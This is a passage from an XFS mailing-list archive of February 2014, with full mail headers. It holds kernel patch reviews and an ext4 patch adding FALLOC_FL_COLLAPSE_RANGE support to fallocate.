(bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id xWPhSnFRdmqzz6GT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 06:56:02 -0800 (PST) X-Barracuda-Envelope-From: BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGV2f-0004eU-Vd; Thu, 20 Feb 2014 14:56:01 +0000 Date: Thu, 20 Feb 2014 06:56:01 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs: allocate xfs_da_args to reduce stack footprint Message-ID: <20140220145601.GC8366@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: allocate xfs_da_args to reduce stack footprint References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392783402-4726-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392908162 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145318 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 19, 2014 at 03:16:42PM +1100, Dave Chinner wrote: > From: Dave Chinner > > The struct xfs_da_args used to pass directory/attribute operation > information to the lower layers is 128 bytes in size and is > allocated on the stack. Dynamically allocate them to reduce the > stack footprint of directory operations. Are we having stack space problems in the directory code as well, without all the VM code above it? I'm defintively a bit scared about adding another memory allocation to every single directory operation. > + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); > + if (!args) > + return ENOMEM; KM_SLEEP is the default when KM_NOFS is set. Also KM_SLEEP will never return a NULL pointer, either remove the handling or make it an KM_MAYFAIL allocation. > + /* > + * If we don't use KM_NOFS here, lockdep will through false positive > + * deadlock warnings when we come through here of the non-transactional > + * lookup path because the allocation can recurse into inode reclaim. > + * Doing this avoids having to add a bunch of lockdep class > + * annotations into the reclaim patch for the ilock. > + */ > + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); I don't understand that comment. We do use KM_NOFS here unlike what the comment claims, and the comment seems to explain why we actually need KM_NOFS as far as I can tell. From linkinjeon@gmail.com Thu Feb 20 09:08:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3047E7FC6 for ; Thu, 20 Feb 2014 09:08:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 99AECAC00C for ; Thu, 20 Feb 2014 07:07:58 -0800 (PST) X-ASG-Debug-ID: 1392908876-04cbb00c2a60ae20001-NocioJ Received: from mail-pa0-f54.google.com (mail-pa0-f54.google.com [209.85.220.54]) by cuda.sgi.com with ESMTP id jSvTYuCsMdOkbZFv (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 20 Feb 2014 07:07:56 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.54 Received: by mail-pa0-f54.google.com with SMTP id fa1so2010792pad.13 for ; Thu, 20 Feb 2014 07:07:52 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=MMYmS+jLJzdqYQ3CwfJEeNapYpSRy+POw3J9E/9DAPI=; b=N2FlWjyvXfKOo8bAFplJp0R3rTS4Fa0jwpFotdkbF6A83n5xWYweeAgmbpRfR2y7cj 53TGE9Gg5LP99qgTBnJ5O3TTmnkb6oYxjJvmKE5G9dShWQT1MTqIRWVkMr0SCkug8QhB +XApmQnwr7OsP/nOIJdmUXtNSRY/Ybj0lidQpIu1nfLTSOuYYdIQwQChrp3wPRI2vllQ YcD1CjLzv5Zr52BLoIHAxnHn+kyhNrQWQhjT9e48gNMJ0tpzhvhJZas1PJ5GLoPf3xMK TapMp04gjjg4JJzFgB4VGEpZ2BHsPQ/tCSMgy7/rtduw/aPDfexU8pzSpPyXSjSsr5oO u9/A== X-Barracuda-BBL-IP: nil X-Received: by 10.66.232.68 with SMTP id tm4mr2615732pac.114.1392908871928; Thu, 20 Feb 2014 07:07:51 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id nz11sm27686363pab.6.2014.02.20.07.07.47 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 20 Feb 2014 07:07:50 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Fri, 21 Feb 2014 00:07:41 +0900 X-ASG-Orig-Subj: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1392908861-3563-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f54.google.com[209.85.220.54] X-Barracuda-Start-Time: 1392908876 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145318 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for Ext4. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned in case of xfs and ext4. 4) Collaspe range does not work beyond i_size. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan Tested-by: Dongsu Park --- Changelog v6: - Fix compile error issue. v5: Fix review comments from Lukas Czerner. - Added checks for immutable files and swap files. - Move inode flag checks under imutex. - Remove an obsolete checking. - truncate_pagecache_range can work on page size aligned byte offsets so alignment is not required. v4: - move block size aligned check from VFS layer to FS specific layer. v3: - fix checkpatch.pl warning v2: - Added check to make sure before shifting that the hole is big enough to contian the shift. - Added code to make merging of extent where possible. - Change semantics of collapse range and contain it within EOF. fs/ext4/ext4.h | 3 + fs/ext4/extents.c | 304 +++++++++++++++++++++++++++++++++++++++++++- fs/ext4/move_extent.c | 2 +- include/trace/events/ext4.h | 25 ++++ 4 files changed, 332 insertions(+), 2 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index ece5556..ca9b115 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -2755,6 +2755,7 @@ extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, __u64 start, __u64 len); extern int ext4_ext_precache(struct inode *inode); +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); /* move_extent.c */ extern void ext4_double_down_write_data_sem(struct inode *first, @@ -2764,6 +2765,8 @@ extern void ext4_double_up_write_data_sem(struct inode *orig_inode, extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, __u64 start_orig, __u64 start_donor, __u64 len, __u64 *moved_len); +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, + struct ext4_extent **extent); /* page-io.c */ extern int __init ext4_init_pageio(void); diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 74bc2d5..db0ebe4 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4565,12 +4565,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int credits, blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) return ext4_punch_hole(inode, offset, len); + if (mode & FALLOC_FL_COLLAPSE_RANGE) + return ext4_collapse_range(inode, offset, len); + ret = ext4_convert_inline_data(inode); if (ret) return ret; @@ -4869,3 +4873,301 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, ext4_es_lru_add(inode); return error; } + +/* + * ext4_access_path: + * Function to access the path buffer for marking it dirty. + * It also checks if there are sufficient credits left in the journal handle + * to update path. + */ +static int +ext4_access_path(handle_t *handle, struct inode *inode, + struct ext4_ext_path *path) +{ + int credits, err; + + /* + * Check if need to extend journal credits + * 3 for leaf, sb, and inode plus 2 (bmap and group + * descriptor) for each block group; assume two block + * groups + */ + if (handle->h_buffer_credits < 7) { + credits = ext4_writepage_trans_blocks(inode); + err = ext4_ext_truncate_extend_restart(handle, inode, credits); + /* EAGAIN is success */ + if (err && err != -EAGAIN) + return err; + } + + err = ext4_ext_get_access(handle, inode, path); + return err; +} + +/* + * ext4_ext_shift_path_extents: + * Shift the extents of a path structure lying between path[depth].p_ext + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift + * from starting block for each extent. + */ +static int +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, + struct inode *inode, handle_t *handle, + ext4_lblk_t *start) +{ + int depth, err = 0; + struct ext4_extent *ex_start, *ex_last; + bool update = 0; + depth = path->p_depth; + + while (depth >= 0) { + if (depth == path->p_depth) { + ex_start = path[depth].p_ext; + if (!ex_start) + return -EIO; + + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); + if (!ex_last) + return -EIO; + + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) + update = 1; + + *start = ex_last->ee_block + + ext4_ext_get_actual_len(ex_last); + + while (ex_start <= ex_last) { + ex_start->ee_block -= shift; + if (ex_start > + EXT_FIRST_EXTENT(path[depth].p_hdr)) { + if (ext4_ext_try_to_merge_right(inode, + path, ex_start - 1)) + ex_last--; + } + ex_start++; + } + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + if (--depth < 0 || !update) + break; + } + + /* Update index too */ + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + path[depth].p_idx->ei_block -= shift; + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + /* we are done if current index is not a starting index */ + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) + break; + + depth--; + } + +out: + return err; +} + +/* + * ext4_ext_shift_extents: + * All the extents which lies in the range from start to the last allocated + * block for the file are shifted downwards by shift blocks. + * On success, 0 is returned, error otherwise. + */ +static int +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, + ext4_lblk_t start, ext4_lblk_t shift) +{ + struct ext4_ext_path *path; + int ret = 0, depth; + struct ext4_extent *extent; + ext4_lblk_t stop_block, current_block; + ext4_lblk_t ex_start, ex_end; + + /* Let path point to the last extent */ + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = path->p_depth; + extent = path[depth].p_ext; + if (!extent) { + ext4_ext_drop_refs(path); + kfree(path); + return ret; + } + + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + /* Nothing to shift, if hole is at the end of file */ + if (start >= stop_block) + return ret; + + /* + * Don't start shifting extents until we make sure the hole is big + * enough to accomodate the shift. + */ + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); + depth = path->p_depth; + extent = path[depth].p_ext; + ex_start = extent->ee_block; + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + if ((start == ex_start && shift > ex_start) || + (shift > start - ex_end)) + return -EINVAL; + + /* Its safe to start updating extents */ + while (start < stop_block) { + path = ext4_ext_find_extent(inode, start, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + depth = path->p_depth; + extent = path[depth].p_ext; + current_block = extent->ee_block; + if (start > current_block) { + /* Hole, move to the next extent */ + ret = mext_next_extent(inode, path, &extent); + if (ret != 0) { + ext4_ext_drop_refs(path); + kfree(path); + if (ret == 1) + ret = 0; + break; + } + } + ret = ext4_ext_shift_path_extents(path, shift, inode, + handle, &start); + ext4_ext_drop_refs(path); + kfree(path); + if (ret) + break; + } + + return ret; +} + +/* + * ext4_collapse_range: + * This implements the fallocate's collapse range functionality for ext4 + * Returns: 0 and non-zero on error. + */ +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct super_block *sb = inode->i_sb; + ext4_lblk_t punch_start, punch_stop; + handle_t *handle; + unsigned int credits; + loff_t new_size; + int ret; + + BUG_ON(offset + len > i_size_read(inode)); + + /* Collapse range works only on fs block size aligned offsets. */ + if (offset & (EXT4_BLOCK_SIZE(sb) - 1) || + len & (EXT4_BLOCK_SIZE(sb) - 1)) + return -EINVAL; + + if (!S_ISREG(inode->i_mode)) + return -EOPNOTSUPP; + + trace_ext4_collapse_range(inode, offset, len); + + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); + + /* Write out all dirty pages */ + ret = filemap_write_and_wait_range(inode->i_mapping, offset, -1); + if (ret) + return ret; + + /* Take mutex lock */ + mutex_lock(&inode->i_mutex); + + /* It's not possible punch hole on append only file */ + if (IS_APPEND(inode) || IS_IMMUTABLE(inode)) { + ret = -EPERM; + goto out_mutex; + } + + if (IS_SWAPFILE(inode)) { + ret = -ETXTBSY; + goto out_mutex; + } + + /* Currently just for extent based files */ + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) { + ret = -EOPNOTSUPP; + goto out_mutex; + } + + truncate_pagecache_range(inode, offset, -1); + + /* Wait for existing dio to complete */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + credits = ext4_writepage_trans_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + goto out_dio; + } + + down_write(&EXT4_I(inode)->i_data_sem); + ext4_discard_preallocations(inode); + + ret = ext4_es_remove_extent(inode, punch_start, + EXT_MAX_BLOCKS - punch_start - 1); + if (ret) { + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); + if (ret) { + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + ret = ext4_ext_shift_extents(inode, handle, punch_stop, + punch_stop - punch_start); + if (ret) { + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + new_size = i_size_read(inode) - len; + i_size_write(inode, new_size); + EXT4_I(inode)->i_disksize = new_size; + + ext4_discard_preallocations(inode); + up_write(&EXT4_I(inode)->i_data_sem); + if (IS_SYNC(inode)) + ext4_handle_sync(handle); + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + ext4_mark_inode_dirty(handle, inode); + +out_stop: + ext4_journal_stop(handle); +out_dio: + ext4_inode_resume_unlocked_dio(inode); +out_mutex: + mutex_unlock(&inode->i_mutex); + return ret; +} diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c index f39a88a..58ee7dc 100644 --- a/fs/ext4/move_extent.c +++ b/fs/ext4/move_extent.c @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) * ext4_ext_path structure refers to the last extent, or a negative error * value on failure. */ -static int +int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, struct ext4_extent **extent) { diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 197d312..90e2f71 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, __entry->shrunk_nr, __entry->cache_cnt) ); +TRACE_EVENT(ext4_collapse_range, + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), + + TP_ARGS(inode, offset, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, offset) + __field(loff_t, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->offset = offset; + __entry->len = len; + ), + + TP_printk("dev %d,%d ino %lu offset %lld len %lld", + MAJOR(__entry->dev), MINOR(__entry->dev), + (unsigned long) __entry->ino, + __entry->offset, __entry->len) +); + #endif /* _TRACE_EXT4_H */ /* This part must be outside protection */ -- 1.7.11-rc0 From BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 09:38:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1DCBD7F76 for ; Thu, 20 Feb 2014 09:38:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0D6408F8037 for ; Thu, 20 Feb 2014 07:38:29 -0800 (PST) X-ASG-Debug-ID: 1392910708-04cbb00c2860def0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id mhZhCYmPFXgQoBZ2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 07:38:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGVhk-0006nv-3q; Thu, 20 Feb 2014 15:38:28 +0000 Date: Thu, 20 Feb 2014 07:38:28 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] libxfs: contiguous buffers are not discontigous Message-ID: <20140220153828.GA26146@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/2] libxfs: contiguous buffers are not discontigous References: <1392875722-4390-1-git-send-email-david@fromorbit.com> <1392875722-4390-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392875722-4390-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392910708 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145319 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 09:38:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4E20C7F76 for ; Thu, 20 Feb 2014 09:38:52 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2017130408E for ; Thu, 20 Feb 2014 07:38:49 -0800 (PST) X-ASG-Debug-ID: 1392910727-04bdf00fc91e3910001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id ukeGkcVJapMBkVv2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 07:38:47 -0800 (PST) X-Barracuda-Envelope-From: BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGVi3-0006oK-OO; Thu, 20 Feb 2014 15:38:47 +0000 Date: Thu, 20 Feb 2014 07:38:47 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] libxfs: clear stale buffer errors on write Message-ID: <20140220153847.GB26146@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/2] libxfs: clear stale buffer errors on write References: <1392875722-4390-1-git-send-email-david@fromorbit.com> <1392875722-4390-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392875722-4390-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1392910727 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145319 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 20 09:41:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9DC497F76 for ; Thu, 20 Feb 2014 09:41:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 25FC9AC00D for ; Thu, 20 Feb 2014 07:41:24 -0800 (PST) X-ASG-Debug-ID: 1392910882-04cb6c6de2614720001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id YHo1T8IXfJZccZbp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 07:41:22 -0800 (PST) X-Barracuda-Envelope-From: BATV+e074e71b01c5f6abf4de+3833+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WGVkY-0007s3-9H; Thu, 20 Feb 2014 15:41:22 +0000 Date: Thu, 20 Feb 2014 07:41:22 -0800 From: Christoph Hellwig To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs_repair: fix sibling pointer tests in verify_dir2_path() Message-ID: <20140220154122.GC26146@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_repair: fix sibling pointer tests in verify_dir2_path() References: <53051DB5.4080403@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53051DB5.4080403@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1392910882 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145319 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Wed, Feb 19, 2014 at 03:10:13PM -0600, Eric Sandeen wrote: > RH QE reported that if we create a 1G filesystem with default > options, mount it, and create inodes until full, then run > repair, repair reports corruption in verify_dir2_path() with: > > > bad back pointer in block 8390324 for directory inode 131 Can you please wire this up for xfstests? > > The commit 88b32f0 xfs: add CRCs to dir2/da node blocks > had a small error which regressed this; although we switch > to the "newnode," to check sibling pointers, we re-populate > the node hdr with the old "node" data. This causes the > backpointer test to be testing the wrong node's values. > > Fixing this bug fixes the testcase. > > Signed-off-by: Eric Sandeen Looks good, Reviewed-by: Christoph Hellwig From bfoster@redhat.com Thu Feb 20 10:04:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.2 required=5.0 tests=TVD_PH_BODY_ACCOUNTS_PRE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 92D707FCD for ; Thu, 20 Feb 2014 10:04:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 82BD7304087 for ; Thu, 20 Feb 2014 08:04:28 -0800 (PST) X-ASG-Debug-ID: 1392912267-04cbb00c29610bb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id NxufGTtGkPuQBEGC for ; Thu, 20 Feb 2014 08:04:27 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1KG4PSc002121 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Feb 2014 11:04:25 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1KG4OnP021734; Thu, 20 Feb 2014 11:04:24 -0500 Message-ID: <53062787.5030507@redhat.com> Date: Thu, 20 Feb 2014 11:04:23 -0500 From: Brian Foster User-Agent: 